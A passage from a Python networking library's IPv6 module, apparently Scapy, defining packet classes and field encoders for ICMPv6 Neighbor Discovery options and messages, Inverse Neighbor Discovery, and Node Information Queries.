\"Route Information Option\",  # RFC 4191\n               25: \"Recursive DNS Server Option\",\n               26: \"IPv6 Router Advertisement Flags Option\"\n               }\n\nicmp6ndoptscls = {1: \"ICMPv6NDOptSrcLLAddr\",\n                  2: \"ICMPv6NDOptDstLLAddr\",\n                  3: \"ICMPv6NDOptPrefixInfo\",\n                  4: \"ICMPv6NDOptRedirectedHdr\",\n                  5: \"ICMPv6NDOptMTU\",\n                  6: \"ICMPv6NDOptShortcutLimit\",\n                  7: \"ICMPv6NDOptAdvInterval\",\n                  8: \"ICMPv6NDOptHAInfo\",\n                  9: \"ICMPv6NDOptSrcAddrList\",\n                  10: \"ICMPv6NDOptTgtAddrList\",\n                  # 11: ICMPv6NDOptCGA, RFC3971 - contrib/send.py\n                  # 12: ICMPv6NDOptRsaSig, RFC3971 - contrib/send.py\n                  # 13: ICMPv6NDOptTmstp, RFC3971 - contrib/send.py\n                  # 14: ICMPv6NDOptNonce, RFC3971 - contrib/send.py\n                  # 15: Do Me,\n                  # 16: Do Me,\n                  17: \"ICMPv6NDOptIPAddr\",\n                  18: \"ICMPv6NDOptNewRtrPrefix\",\n                  19: \"ICMPv6NDOptLLA\",\n                  # 18: Do Me,\n                  # 19: Do Me,\n                  # 20: Do Me,\n                  # 21: Do Me,\n                  # 22: Do Me,\n                  23: \"ICMPv6NDOptMAP\",\n                  24: \"ICMPv6NDOptRouteInfo\",\n                  25: \"ICMPv6NDOptRDNSS\",\n                  26: \"ICMPv6NDOptEFA\",\n                  31: \"ICMPv6NDOptDNSSL\",\n                  37: \"ICMPv6NDOptCaptivePortal\",\n                  38: \"ICMPv6NDOptPREF64\",\n                  }\n\nicmp6ndraprefs = {0: \"Medium (default)\",\n                  1: \"High\",\n                  2: \"Reserved\",\n                  3: \"Low\"}  # RFC 4191\n\n\nclass _ICMPv6NDGuessPayload:\n    name = \"Dummy ND class that implements guess_payload_class()\"\n\n    def guess_payload_class(self, p):\n        if len(p) > 1:\n            return icmp6ndoptscls.get(orb(p[0]), ICMPv6NDOptUnknown)\n\n\n# Beginning of ICMPv6 Neighbor Discovery Options.\n\nclass ICMPv6NDOptDataField(StrLenField):\n    __slots__ = [\"strip_zeros\"]\n\n    def __init__(self, name, default, strip_zeros=False, **kwargs):\n        super().__init__(name, default, **kwargs)\n        self.strip_zeros = strip_zeros\n\n    def i2len(self, pkt, x):\n        return len(self.i2m(pkt, x))\n\n    def i2m(self, pkt, x):\n        r = (len(x) + 2) % 8\n        if r:\n            x += b\"\\x00\" * (8 - r)\n        return x\n\n    def m2i(self, pkt, x):\n        if self.strip_zeros:\n            x = x.rstrip(b\"\\x00\")\n        return x\n\n\nclass ICMPv6NDOptUnknown(_ICMPv6NDGuessPayload, Packet):\n    name = \"ICMPv6 Neighbor Discovery Option - Scapy Unimplemented\"\n    fields_desc = [ByteField(\"type\", 0),\n                   FieldLenField(\"len\", None, length_of=\"data\", fmt=\"B\",\n                                 adjust=lambda pkt, x: (2 + x) // 8),\n                   ICMPv6NDOptDataField(\"data\", \"\", strip_zeros=False,\n                                        length_from=lambda pkt:\n                                        8 * max(pkt.len, 1) - 2)]\n\n# NOTE: len includes type and len field. Expressed in unit of 8 bytes\n# TODO: Revoir le coup du ETHER_ANY\n\n\nclass ICMPv6NDOptSrcLLAddr(_ICMPv6NDGuessPayload, Packet):\n    name = \"ICMPv6 Neighbor Discovery Option - Source Link-Layer Address\"\n    fields_desc = [ByteField(\"type\", 1),\n                   ByteField(\"len\", 1),\n                   SourceMACField(\"lladdr\")]\n\n    def mysummary(self):\n        return self.sprintf(\"%name% %lladdr%\")\n\n\nclass ICMPv6NDOptDstLLAddr(ICMPv6NDOptSrcLLAddr):\n    name = \"ICMPv6 Neighbor Discovery Option - Destination Link-Layer Address\"\n    type = 2\n\n\nclass ICMPv6NDOptPrefixInfo(_ICMPv6NDGuessPayload, Packet):\n    name = \"ICMPv6 Neighbor Discovery Option - Prefix Information\"\n    fields_desc = [ByteField(\"type\", 3),\n                   ByteField(\"len\", 4),\n                   ByteField(\"prefixlen\", 64),\n                   BitField(\"L\", 1, 1),\n                   BitField(\"A\", 1, 1),\n                   BitField(\"R\", 0, 1),\n                   BitField(\"res1\", 0, 5),\n                   XIntField(\"validlifetime\", 0xffffffff),\n                   XIntField(\"preferredlifetime\", 0xffffffff),\n                   XIntField(\"res2\", 0x00000000),\n                   IP6Field(\"prefix\", \"::\")]\n\n    def mysummary(self):\n        return self.sprintf(\"%name% %prefix%/%prefixlen% \"\n                            \"On-link %L% Autonomous Address %A% \"\n                            \"Router Address %R%\")\n\n# TODO: We should also limit the size of included packet to something\n# like (initiallen - 40 - 2)\n\n\nclass TruncPktLenField(PacketLenField):\n    def i2m(self, pkt, x):\n        s = bytes(x)\n        tmp_len = len(s)\n        return s[:tmp_len - (tmp_len % 8)]\n\n    def i2len(self, pkt, i):\n        return len(self.i2m(pkt, i))\n\n\nclass ICMPv6NDOptRedirectedHdr(_ICMPv6NDGuessPayload, Packet):\n    name = \"ICMPv6 Neighbor Discovery Option - Redirected Header\"\n    fields_desc = [ByteField(\"type\", 4),\n                   FieldLenField(\"len\", None, length_of=\"pkt\", fmt=\"B\",\n                                 adjust=lambda pkt, x: (x + 8) // 8),\n                   MayEnd(StrFixedLenField(\"res\", b\"\\x00\" * 6, 6)),\n                   TruncPktLenField(\"pkt\", b\"\", IPv6,\n                                    length_from=lambda pkt: 8 * pkt.len - 8)]\n\n# See which value should be used for default MTU instead of 1280\n\n\nclass ICMPv6NDOptMTU(_ICMPv6NDGuessPayload, Packet):\n    name = \"ICMPv6 Neighbor Discovery Option - MTU\"\n    fields_desc = [ByteField(\"type\", 5),\n                   ByteField(\"len\", 1),\n                   XShortField(\"res\", 0),\n                   IntField(\"mtu\", 1280)]\n\n    def mysummary(self):\n        return self.sprintf(\"%name% %mtu%\")\n\n\nclass ICMPv6NDOptShortcutLimit(_ICMPv6NDGuessPayload, Packet):  # RFC 2491\n    name = \"ICMPv6 Neighbor Discovery Option - NBMA Shortcut Limit\"\n    fields_desc = [ByteField(\"type\", 6),\n                   ByteField(\"len\", 1),\n                   ByteField(\"shortcutlim\", 40),  # XXX\n                   ByteField(\"res1\", 0),\n                   IntField(\"res2\", 0)]\n\n\nclass ICMPv6NDOptAdvInterval(_ICMPv6NDGuessPayload, Packet):\n    name = \"ICMPv6 Neighbor Discovery - Interval Advertisement\"\n    fields_desc = [ByteField(\"type\", 7),\n                   ByteField(\"len\", 1),\n                   ShortField(\"res\", 0),\n                   IntField(\"advint\", 0)]\n\n    def mysummary(self):\n        return self.sprintf(\"%name% %advint% milliseconds\")\n\n\nclass ICMPv6NDOptHAInfo(_ICMPv6NDGuessPayload, Packet):\n    name = \"ICMPv6 Neighbor Discovery - Home Agent Information\"\n    fields_desc = [ByteField(\"type\", 8),\n                   ByteField(\"len\", 1),\n                   ShortField(\"res\", 0),\n                   ShortField(\"pref\", 0),\n                   ShortField(\"lifetime\", 1)]\n\n    def mysummary(self):\n        return self.sprintf(\"%name% %pref% %lifetime% seconds\")\n\n# type 9  : See ICMPv6NDOptSrcAddrList class below in IND (RFC 3122) support\n\n# type 10 : See ICMPv6NDOptTgtAddrList class below in IND (RFC 3122) support\n\n\nclass ICMPv6NDOptIPAddr(_ICMPv6NDGuessPayload, Packet):  # RFC 4068\n    name = \"ICMPv6 Neighbor Discovery - IP Address Option (FH for MIPv6)\"\n    fields_desc = [ByteField(\"type\", 17),\n                   ByteField(\"len\", 3),\n                   ByteEnumField(\"optcode\", 1, {1: \"Old Care-Of Address\",\n                                                2: \"New Care-Of Address\",\n                                                3: \"NAR's IP address\"}),\n                   ByteField(\"plen\", 64),\n                   IntField(\"res\", 0),\n                   IP6Field(\"addr\", \"::\")]\n\n\nclass ICMPv6NDOptNewRtrPrefix(_ICMPv6NDGuessPayload, Packet):  # RFC 4068\n    name = \"ICMPv6 Neighbor Discovery - New Router Prefix Information Option (FH for MIPv6)\"  # noqa: E501\n    fields_desc = [ByteField(\"type\", 18),\n                   ByteField(\"len\", 3),\n                   ByteField(\"optcode\", 0),\n                   ByteField(\"plen\", 64),\n                   IntField(\"res\", 0),\n                   IP6Field(\"prefix\", \"::\")]\n\n\n_rfc4068_lla_optcode = {0: \"Wildcard requesting resolution for all nearby AP\",\n                        1: \"LLA for the new AP\",\n                        2: \"LLA of the MN\",\n                        3: \"LLA of the NAR\",\n                        4: \"LLA of the src of TrSolPr or PrRtAdv msg\",\n                        5: \"AP identified by LLA belongs to current iface of router\",  # noqa: E501\n                        6: \"No preifx info available for AP identified by the LLA\",  # noqa: E501\n                        7: \"No fast handovers support for AP identified by the LLA\"}  # noqa: E501\n\n\nclass ICMPv6NDOptLLA(_ICMPv6NDGuessPayload, Packet):     # RFC 4068\n    name = \"ICMPv6 Neighbor Discovery - Link-Layer Address (LLA) Option (FH for MIPv6)\"  # noqa: E501\n    fields_desc = [ByteField(\"type\", 19),\n                   ByteField(\"len\", 1),\n                   ByteEnumField(\"optcode\", 0, _rfc4068_lla_optcode),\n                   MACField(\"lla\", ETHER_ANY)]  # We only support ethernet\n\n\nclass ICMPv6NDOptMAP(_ICMPv6NDGuessPayload, Packet):     # RFC 4140\n    name = \"ICMPv6 Neighbor Discovery - MAP Option\"\n    fields_desc = [ByteField(\"type\", 23),\n                   ByteField(\"len\", 3),\n                   BitField(\"dist\", 1, 4),\n                   BitField(\"pref\", 15, 4),  # highest availability\n                   BitField(\"R\", 1, 1),\n                   BitField(\"res\", 0, 7),\n                   IntField(\"validlifetime\", 0xffffffff),\n                   IP6Field(\"addr\", \"::\")]\n\n\nclass _IP6PrefixField(IP6Field):\n    __slots__ = [\"length_from\"]\n\n    def __init__(self, name, default):\n        IP6Field.__init__(self, name, default)\n        self.length_from = lambda pkt: 8 * (pkt.len - 1)\n\n    def addfield(self, pkt, s, val):\n        return s + self.i2m(pkt, val)\n\n    def getfield(self, pkt, s):\n        tmp_len = self.length_from(pkt)\n        p = s[:tmp_len]\n        if tmp_len < 16:\n            p += b'\\x00' * (16 - tmp_len)\n        return s[tmp_len:], self.m2i(pkt, p)\n\n    def i2len(self, pkt, x):\n        return len(self.i2m(pkt, x))\n\n    def i2m(self, pkt, x):\n        tmp_len = pkt.len\n\n        if x is None:\n            x = \"::\"\n            if tmp_len is None:\n                tmp_len = 1\n        x = inet_pton(socket.AF_INET6, x)\n\n        if tmp_len is None:\n            return x\n        if tmp_len in [0, 1]:\n            return b\"\"\n        if tmp_len in [2, 3]:\n            return x[:8 * (tmp_len - 1)]\n\n        return x + b'\\x00' * 8 * (tmp_len - 3)\n\n\nclass ICMPv6NDOptRouteInfo(_ICMPv6NDGuessPayload, Packet):  # RFC 4191\n    name = \"ICMPv6 Neighbor Discovery Option - Route Information Option\"\n    fields_desc = [ByteField(\"type\", 24),\n                   FieldLenField(\"len\", None, length_of=\"prefix\", fmt=\"B\",\n                                 adjust=lambda pkt, x: x // 8 + 1),\n                   ByteField(\"plen\", None),\n                   BitField(\"res1\", 0, 3),\n                   BitEnumField(\"prf\", 0, 2, icmp6ndraprefs),\n                   BitField(\"res2\", 0, 3),\n                   IntField(\"rtlifetime\", 0xffffffff),\n                   _IP6PrefixField(\"prefix\", None)]\n\n    def mysummary(self):\n        return self.sprintf(\"%name% %prefix%/%plen% Preference %prf%\")\n\n\nclass ICMPv6NDOptRDNSS(_ICMPv6NDGuessPayload, Packet):  # RFC 5006\n    name = \"ICMPv6 Neighbor Discovery Option - Recursive DNS Server Option\"\n    fields_desc = [ByteField(\"type\", 25),\n                   FieldLenField(\"len\", None, count_of=\"dns\", fmt=\"B\",\n                                 adjust=lambda pkt, x: 2 * x + 1),\n                   ShortField(\"res\", None),\n                   IntField(\"lifetime\", 0xffffffff),\n                   IP6ListField(\"dns\", [],\n                                length_from=lambda pkt: 8 * (pkt.len - 1))]\n\n    def mysummary(self):\n        return self.sprintf(\"%name% \") + \", \".join(self.dns)\n\n\nclass ICMPv6NDOptEFA(_ICMPv6NDGuessPayload, Packet):  # RFC 5175 (prev. 5075)\n    name = \"ICMPv6 Neighbor Discovery Option - Expanded Flags Option\"\n    fields_desc = [ByteField(\"type\", 26),\n                   ByteField(\"len\", 1),\n                   BitField(\"res\", 0, 48)]\n\n# As required in Sect 8. of RFC 3315, Domain Names must be encoded as\n# described in section 3.1 of RFC 1035\n# XXX Label should be at most 63 octets in length : we do not enforce it\n#     Total length of domain should be 255 : we do not enforce it either\n\n\nclass DomainNameListField(StrLenField):\n    __slots__ = [\"padded\"]\n    islist = 1\n    padded_unit = 8\n\n    def __init__(self, name, default, length_from=None, padded=False):  # noqa: E501\n        self.padded = padded\n        StrLenField.__init__(self, name, default, length_from=length_from)\n\n    def i2len(self, pkt, x):\n        return len(self.i2m(pkt, x))\n\n    def i2h(self, pkt, x):\n        if not x:\n            return []\n        return x\n\n    def m2i(self, pkt, x):\n        x = plain_str(x)  # Decode bytes to string\n        res = []\n        while x:\n            # Get a name until \\x00 is reached\n            cur = []\n            while x and ord(x[0]) != 0:\n                tmp_len = ord(x[0])\n                cur.append(x[1:tmp_len + 1])\n                x = x[tmp_len + 1:]\n            if self.padded:\n                # Discard following \\x00 in padded mode\n                if len(cur):\n                    res.append(\".\".join(cur) + \".\")\n            else:\n                # Store the current name\n                res.append(\".\".join(cur) + \".\")\n            if x and ord(x[0]) == 0:\n                x = x[1:]\n        return res\n\n    def i2m(self, pkt, x):\n        def conditionalTrailingDot(z):\n            if z and orb(z[-1]) == 0:\n                return z\n            return z + b'\\x00'\n        # Build the encode names\n        tmp = ([chb(len(z)) + z.encode(\"utf8\") for z in y.split('.')] for y in x)  # Also encode string to bytes  # noqa: E501\n        ret_string = b\"\".join(conditionalTrailingDot(b\"\".join(x)) for x in tmp)\n\n        # In padded mode, add some \\x00 bytes\n        if self.padded and not len(ret_string) % self.padded_unit == 0:\n            ret_string += b\"\\x00\" * (self.padded_unit - len(ret_string) % self.padded_unit)  # noqa: E501\n\n        return ret_string\n\n\nclass ICMPv6NDOptDNSSL(_ICMPv6NDGuessPayload, Packet):  # RFC 6106\n    name = \"ICMPv6 Neighbor Discovery Option - DNS Search List Option\"\n    fields_desc = [ByteField(\"type\", 31),\n                   FieldLenField(\"len\", None, length_of=\"searchlist\", fmt=\"B\",\n                                 adjust=lambda pkt, x: 1 + x // 8),\n                   ShortField(\"res\", None),\n                   IntField(\"lifetime\", 0xffffffff),\n                   DomainNameListField(\"searchlist\", [],\n                                       length_from=lambda pkt: 8 * pkt.len - 8,\n                                       padded=True)\n                   ]\n\n    def mysummary(self):\n        return self.sprintf(\"%name% \") + \", \".join(self.searchlist)\n\n\nclass ICMPv6NDOptCaptivePortal(_ICMPv6NDGuessPayload, Packet):  # RFC 8910\n    name = \"ICMPv6 Neighbor Discovery Option - Captive-Portal Option\"\n    fields_desc = [ByteField(\"type\", 37),\n                   FieldLenField(\"len\", None, length_of=\"URI\", fmt=\"B\",\n                                 adjust=lambda pkt, x: (2 + x) // 8),\n                   ICMPv6NDOptDataField(\"URI\", \"\", strip_zeros=True,\n                                        length_from=lambda pkt:\n                                        8 * max(pkt.len, 1) - 2)]\n\n    def mysummary(self):\n        return self.sprintf(\"%name% %URI%\")\n\n\nclass _PREF64(IP6Field):\n    def addfield(self, pkt, s, val):\n        return s + self.i2m(pkt, val)[:12]\n\n    def getfield(self, pkt, s):\n        return s[12:], self.m2i(pkt, s[:12] + b\"\\x00\" * 4)\n\n\nclass ICMPv6NDOptPREF64(_ICMPv6NDGuessPayload, Packet):  # RFC 8781\n    name = \"ICMPv6 Neighbor Discovery Option - PREF64 Option\"\n    fields_desc = [ByteField(\"type\", 38),\n                   ByteField(\"len\", 2),\n                   BitField(\"scaledlifetime\", 0, 13),\n                   BitEnumField(\"plc\", 0, 3,\n                                [\"/96\", \"/64\", \"/56\", \"/48\", \"/40\", \"/32\"]),\n                   _PREF64(\"prefix\", \"::\")]\n\n    def mysummary(self):\n        plc = self.sprintf(\"%plc%\") if self.plc < 6 else f\"[invalid PLC({self.plc})]\"\n        return self.sprintf(\"%name% %prefix%\") + plc\n\n# End of ICMPv6 Neighbor Discovery Options.\n\n\nclass ICMPv6ND_RS(_ICMPv6NDGuessPayload, _ICMPv6):\n    name = \"ICMPv6 Neighbor Discovery - Router Solicitation\"\n    fields_desc = [ByteEnumField(\"type\", 133, icmp6types),\n                   ByteField(\"code\", 0),\n                   XShortField(\"cksum\", None),\n                   IntField(\"res\", 0)]\n    overload_fields = {IPv6: {\"nh\": 58, \"dst\": \"ff02::2\", \"hlim\": 255}}\n\n\nclass ICMPv6ND_RA(_ICMPv6NDGuessPayload, _ICMPv6):\n    name = \"ICMPv6 Neighbor Discovery - Router Advertisement\"\n    fields_desc = [ByteEnumField(\"type\", 134, icmp6types),\n                   ByteField(\"code\", 0),\n                   XShortField(\"cksum\", None),\n                   ByteField(\"chlim\", 0),\n                   BitField(\"M\", 0, 1),\n                   BitField(\"O\", 0, 1),\n                   BitField(\"H\", 0, 1),\n                   BitEnumField(\"prf\", 1, 2, icmp6ndraprefs),  # RFC 4191\n                   BitField(\"P\", 0, 1),\n                   BitField(\"res\", 0, 2),\n                   ShortField(\"routerlifetime\", 1800),\n                   IntField(\"reachabletime\", 0),\n                   IntField(\"retranstimer\", 0)]\n    overload_fields = {IPv6: {\"nh\": 58, \"dst\": \"ff02::1\", \"hlim\": 255}}\n\n    def answers(self, other):\n        return isinstance(other, ICMPv6ND_RS)\n\n    def mysummary(self):\n        return self.sprintf(\"%name% Lifetime %routerlifetime% \"\n                            \"Hop Limit %chlim% Preference %prf% \"\n                            \"Managed %M% Other %O% Home %H%\")\n\n\nclass ICMPv6ND_NS(_ICMPv6NDGuessPayload, _ICMPv6, Packet):\n    name = \"ICMPv6 Neighbor Discovery - Neighbor Solicitation\"\n    fields_desc = [ByteEnumField(\"type\", 135, icmp6types),\n                   ByteField(\"code\", 0),\n                   XShortField(\"cksum\", None),\n                   IntField(\"res\", 0),\n                   IP6Field(\"tgt\", \"::\")]\n    overload_fields = {IPv6: {\"nh\": 58, \"dst\": \"ff02::1\", \"hlim\": 255}}\n\n    def mysummary(self):\n        return self.sprintf(\"%name% (tgt: %tgt%)\")\n\n    def hashret(self):\n        return bytes_encode(self.tgt) + self.payload.hashret()\n\n\nclass ICMPv6ND_NA(_ICMPv6NDGuessPayload, _ICMPv6, Packet):\n    name = \"ICMPv6 Neighbor Discovery - Neighbor Advertisement\"\n    fields_desc = [ByteEnumField(\"type\", 136, icmp6types),\n                   ByteField(\"code\", 0),\n                   XShortField(\"cksum\", None),\n                   BitField(\"R\", 1, 1),\n                   BitField(\"S\", 0, 1),\n                   BitField(\"O\", 1, 1),\n                   XBitField(\"res\", 0, 29),\n                   IP6Field(\"tgt\", \"::\")]\n    overload_fields = {IPv6: {\"nh\": 58, \"dst\": \"ff02::1\", \"hlim\": 255}}\n\n    def mysummary(self):\n        return self.sprintf(\"%name% (tgt: %tgt%)\")\n\n    def hashret(self):\n        return bytes_encode(self.tgt) + self.payload.hashret()\n\n    def answers(self, other):\n        return isinstance(other, ICMPv6ND_NS) and self.tgt == other.tgt\n\n# associated possible options : target link-layer option, Redirected header\n\n\nclass ICMPv6ND_Redirect(_ICMPv6NDGuessPayload, _ICMPv6, Packet):\n    name = \"ICMPv6 Neighbor Discovery - Redirect\"\n    fields_desc = [ByteEnumField(\"type\", 137, icmp6types),\n                   ByteField(\"code\", 0),\n                   XShortField(\"cksum\", None),\n                   XIntField(\"res\", 0),\n                   IP6Field(\"tgt\", \"::\"),\n                   IP6Field(\"dst\", \"::\")]\n    overload_fields = {IPv6: {\"nh\": 58, \"dst\": \"ff02::1\", \"hlim\": 255}}\n\n\n#                ICMPv6 Inverse Neighbor Discovery (RFC 3122)               #\n\nclass ICMPv6NDOptSrcAddrList(_ICMPv6NDGuessPayload, Packet):\n    name = \"ICMPv6 Inverse Neighbor Discovery Option - Source Address List\"\n    fields_desc = [ByteField(\"type\", 9),\n                   FieldLenField(\"len\", None, count_of=\"addrlist\", fmt=\"B\",\n                                 adjust=lambda pkt, x: 2 * x + 1),\n                   StrFixedLenField(\"res\", b\"\\x00\" * 6, 6),\n                   IP6ListField(\"addrlist\", [],\n                                length_from=lambda pkt: 8 * (pkt.len - 1))]\n\n\nclass ICMPv6NDOptTgtAddrList(ICMPv6NDOptSrcAddrList):\n    name = \"ICMPv6 Inverse Neighbor Discovery Option - Target Address List\"\n    type = 10\n\n\n# RFC3122\n# Options requises : source lladdr et target lladdr\n# Autres options valides : source address list, MTU\n# - Comme precise dans le document, il serait bien de prendre l'adresse L2\n#   demandee dans l'option requise target lladdr et l'utiliser au niveau\n#   de l'adresse destination ethernet si aucune adresse n'est precisee\n# - ca semble pas forcement pratique si l'utilisateur doit preciser toutes\n#   les options.\n# Ether() must use the target lladdr as destination\nclass ICMPv6ND_INDSol(_ICMPv6NDGuessPayload, _ICMPv6):\n    name = \"ICMPv6 Inverse Neighbor Discovery Solicitation\"\n    fields_desc = [ByteEnumField(\"type\", 141, icmp6types),\n                   ByteField(\"code\", 0),\n                   XShortField(\"cksum\", None),\n                   XIntField(\"reserved\", 0)]\n    overload_fields = {IPv6: {\"nh\": 58, \"dst\": \"ff02::1\", \"hlim\": 255}}\n\n# Options requises :  target lladdr, target address list\n# Autres options valides : MTU\n\n\nclass ICMPv6ND_INDAdv(_ICMPv6NDGuessPayload, _ICMPv6):\n    name = \"ICMPv6 Inverse Neighbor Discovery Advertisement\"\n    fields_desc = [ByteEnumField(\"type\", 142, icmp6types),\n                   ByteField(\"code\", 0),\n                   XShortField(\"cksum\", None),\n                   XIntField(\"reserved\", 0)]\n    overload_fields = {IPv6: {\"nh\": 58, \"dst\": \"ff02::1\", \"hlim\": 255}}\n\n\n###############################################################################\n# ICMPv6 Node Information Queries (RFC 4620)\n###############################################################################\n\n# [ ] Add automatic destination address computation using computeNIGroupAddr\n#     in IPv6 class (Scapy6 modification when integrated) if :\n#     - it is not provided\n#     - upper layer is ICMPv6NIQueryName() with a valid value\n# [ ] Try to be liberal in what we accept as internal values for _explicit_\n#     DNS elements provided by users. Any string should be considered\n#     valid and kept like it has been provided. At the moment, i2repr() will\n#     crash on many inputs\n# [ ] Do the documentation\n# [ ] Add regression tests\n# [ ] Perform test against real machines (NOOP reply is proof of implementation).  # noqa: E501\n# [ ] Check if there are differences between different stacks. Among *BSD,\n#     with others.\n# [ ] Deal with flags in a consistent way.\n# [ ] Implement compression in names2dnsrepr() and decompresiion in\n#     dnsrepr2names(). Should be deactivable.\n\nicmp6_niqtypes = {0: \"NOOP\",\n                  2: \"Node Name\",\n                  3: \"IPv6 Address\",\n                  4: \"IPv4 Address\"}\n\n\nclass _ICMPv6NIHashret:\n    def hashret(self):\n        return bytes_encode(self.nonce)\n\n\nclass _ICMPv6NIAnswers:\n    def answers(self, other):\n        return self.nonce == other.nonce\n\n# Buggy; always returns the same value during a session\n\n\nclass NonceField(StrFixedLenField):\n    def __init__(self, name, default=None):\n        StrFixedLenField.__init__(self, name, default, 8)\n        if default is None:\n            self.default = self.randval()\n\n\n@conf.commands.register\ndef computeNIGroupAddr(name):\n    \"\"\"Compute the NI group Address. Can take a FQDN as input parameter\"\"\"\n    name = name.lower().split(\".\")[0]\n    record = chr(len(name)) + name\n    h = md5(record.encode(\"utf8\"))\n    h = h.digest()\n    addr = \"ff02::2:%2x%2x:%2x%2x\" % struct.unpack(\"BBBB\", h[:4])\n    return addr\n\n\n# Here is the deal. First, that protocol is a piece of shit. Then, we\n# provide 4 classes for the different kinds of Requests (one for every\n# valid qtype: NOOP, Node Name, IPv6@, IPv4@). They all share the same\n# data field class that is made to be smart by guessing the specific\n# type of value provided :\n#\n# - IPv6 if acceptable for inet_pton(AF_INET6, ): code is set to 0,\n#   if not overridden by user\n# - IPv4 if acceptable for inet_pton(AF_INET,  ): code is set to 2,\n#   if not overridden\n# - Name in the other cases: code is set to 0, if not overridden by user\n#\n# Internal storage, is not only the value, but the a pair providing\n# the type and the value (1 is IPv6@, 1 is Name or string, 2 is IPv4@)\n#\n# Note : I merged getfield() and m2i(). m2i() should not be called\n#        directly anyway. Same remark for addfield() and i2m()\n#\n# -- arno\n\n# \"The type of information present in the Data field of a query is\n#  declared by the ICMP Code, whereas the type of information in a\n#  Reply is determined by the Qtype\"\n\ndef names2dnsrepr(x):\n    \"\"\"\n    Take as input a list of DNS names or a single DNS name\n    and encode it in DNS format (with possible compression)\n    If a string that is already a DNS name in DNS format\n    is passed, it is returned unmodified. Result is a string.\n    !!!  At the moment, compression is not implemented  !!!\n    \"\"\"\n\n    if isinstance(x, bytes):\n        if x and x[-1:] == b'\\x00':  # stupid heuristic\n            return x\n        x = [x]\n\n    res = []\n    for n in x:\n        termin = b\"\\x00\"\n        if n.count(b'.') == 0:  # single-component gets one more\n            termin += b'\\x00'\n        n = b\"\".join(chb(len(y)) + y for y in n.split(b'.')) + termin\n        res.append(n)\n    return b\"\".join(res)\n\n\ndef dnsrepr2names(x):\n    \"\"\"\n    Take as input a DNS encoded string (possibly compressed)\n    and returns a list of DNS names contained in it.\n    If provided string is already in printable format\n    (does not end with a null character, a one element list\n    is returned). Result is a list.\n    \"\"\"\n    res = []\n    cur = b\"\"\n    while x:\n        tmp_len = orb(x[0])\n        x = x[1:]\n        if not tmp_len:\n            if cur and cur[-1:] == b'.':\n                cur = cur[:-1]\n            res.append(cur)\n            cur = b\"\"\n            if x and orb(x[0]) == 0:  # single component\n                x = x[1:]\n            continue\n        if tmp_len & 0xc0:  # XXX TODO : work on that -- arno\n            raise Exception(\"DNS message can't be compressed at this point!\")\n        cur += x[:tmp_len] + b\".\"\n        x = x[tmp_len:]\n    return res\n\n\nclass NIQueryDataField(StrField):\n    def __init__(self, name, default):\n        StrField.__init__(self, name, default)\n\n    def i2h(self, pkt, x):\n        if x is None:\n            return x\n        t, val = x\n        if t == 1:\n            val = dnsrepr2names(val)[0]\n        return val\n\n    def h2i(self, pkt, x):\n        if x is tuple and isinstance(x[0], int):\n            return x\n\n        # Try IPv6\n        try:\n            inet_pton(socket.AF_INET6, x.decode())\n            return (0, x.decode())\n        except Exception:\n            pass\n        # Try IPv4\n        try:\n            inet_pton(socket.AF_INET, x.decode())\n            return (2, x.decode())\n        except Exception:\n            pass\n        # Try DNS\n        if x is None:\n            x = b\"\"\n        x = names2dnsrepr(x)\n        return (1, x)\n\n    def i2repr(self, pkt, x):\n        t, val = x\n        if t == 1:  # DNS Name\n            # we don't use dnsrepr2names() to deal with\n            # possible weird data extracted info\n            res = []\n            while val:\n                tmp_len = orb(val[0])\n                val = val[1:]\n                if tmp_len == 0:\n                    break\n                res.append(plain_str(val[:tmp_len]) + \".\")\n                val = val[tmp_len:]\n            tmp = \"\".join(res)\n            if tmp and tmp[-1] == '.':\n                tmp = tmp[:-1]\n            return tmp\n        return repr(val)\n\n    def getfield(self, pkt, s):\n        qtype = getattr(pkt, \"qtype\")\n        if qtype == 0:  # NOOP\n            return s, (0, b\"\")\n        else:\n            code = getattr(pkt, \"code\")\n            if code == 0:   # IPv6 Addr\n                return s[16:], (0, inet_ntop(socket.AF_INET6, s[:16]))\n            elif code == 2:  # IPv4 Addr\n                return s[4:], (2, inet_ntop(socket.AF_INET, s[:4]))\n            else:           # Name or Unknown\n                return b\"\", (1, s)\n\n    def addfield(self, pkt, s, val):\n        if ((isinstance(val, tuple) and val[1] is None) or\n                val is None):\n            val = (1, b\"\")\n        t = val[0]\n        if t == 1:\n            return s + val[1]\n        elif t == 0:\n            return s + inet_pton(socket.AF_INET6, val[1])\n        else:\n            return s + inet_pton(socket.AF_INET, val[1])\n\n\nclass NIQueryCodeField(ByteEnumField):\n    def i2m(self, pkt, x):\n        if x is None:\n            d = pkt.getfieldval(\"data\")\n            if d is None:\n                return 1\n            elif d[0] == 0:  # IPv6 address\n                return 0\n            elif d[0] == 1:  # Name\n                return 1\n            elif d[0] == 2:  # IPv4 address\n                return 2\n            else:\n                return 1\n        return x\n\n\n_niquery_code = {0: \"IPv6 Query\", 1: \"Name Query\", 2: \"IPv4 Query\"}\n\n# _niquery_flags = {  2: \"All unicast addresses\", 4: \"IPv4 addresses\",\n#                     8: \"Link-local addresses\", 16: \"Site-local addresses\",\n#                    32: \"Global addresses\" }\n\n# \"This NI type has no defined flags and never has a Data Field\". Used\n# to know if the destination is up and implements NI protocol.\n\n\nclass ICMPv6NIQueryNOOP(_ICMPv6NIHashret, _ICMPv6):\n    name = \"ICMPv6 Node Information Query - NOOP Query\"\n    fields_desc = [ByteEnumField(\"type\", 139, icmp6types),\n                   NIQueryCodeField(\"code\", None, _niquery_code),\n                   XShortField(\"cksum\", None),\n                   ShortEnumField(\"qtype\", 0, icmp6_niqtypes),\n                   BitField(\"unused\", 0, 10),\n                   FlagsField(\"flags\", 0, 6, \"TACLSG\"),\n                   NonceField(\"nonce\", None),\n                   NIQueryDataField(\"data\", None)]\n\n\nclass ICMPv6NIQueryName(ICMPv6NIQueryNOOP):\n    name = \"ICMPv6 Node Information Query - IPv6 Name Query\"\n    qtype = 2\n\n# We ask for the IPv6 address of the peer\n\n\nclass ICMPv6NIQueryIPv6(ICMPv6NIQueryNOOP):\n    name = \"ICMPv6 Node Information Query - IPv6 Address Query\"\n    qtype = 3\n    flags = 0x3E\n\n\nclass ICMPv6NIQueryIPv4(ICMPv6NIQueryNOOP):\n    name = \"ICMPv6 Node Information Query - IPv4 Address Query\"\n    qtype = 4\n\n\n_nireply_code = {0: \"Successful Reply\",\n                 1: \"Response Refusal\",\n                 3: \"Unknown query type\"}\n\n_nireply_flags = {1: \"Reply set incomplete\",\n                  2: \"All unicast addresses\",\n                  4: \"IPv4 addresses\",\n                  8: \"Link-local 